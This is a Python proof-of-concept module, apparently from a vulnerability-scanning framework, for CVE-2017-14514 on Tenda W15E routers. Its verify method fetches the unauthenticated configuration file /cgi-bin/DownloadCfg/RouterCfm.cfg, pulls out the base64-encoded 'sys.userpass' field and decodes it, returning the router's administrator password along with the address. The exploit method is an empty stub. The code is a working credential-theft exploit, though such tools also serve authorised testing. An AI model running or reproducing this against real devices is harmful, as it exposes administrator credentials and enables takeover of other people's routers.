import base64
import re
import requests

from loguru import logger

from .base import POCTemplate


class CVE_2017_14514(POCTemplate):

    def __init__(self, config):
        super().__init__(config)
        self.name = self.get_file_name(__file__)
        self.product = config.product['tenda']
        self.product_version = """Tenda W15E devices before 15.11.0.14"""
        self.ref = """
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14514
        http://www.tendacn.com/en/2018.html
        """
        self.level = POCTemplate.level.high
        self.desc = """
        Directory Traversal on Tenda W15E devices before 15.11.0.14 allows remote
        attackers to read unencrypted files via a crafted URL.
        """

    def verify(self, ip, port=80):
        headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
        url = f"http://{ip}:{port}/cgi-bin/DownloadCfg/RouterCfm.cfg"
        try:
            r = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers)
            if r.status_code == 200:
                if b64 := re.findall(r'sys\.userpass=(.*)', r.text):
                    password = base64.b64decode(b64[0].encode()).decode()
                    return ip, str(port), self.product, '', str(password), self.name
        except Exception as e:
            logger.error(e)
        return None

    def exploit(self, results):
        pass


POCTemplate.register_poc(CVE_2017_14514)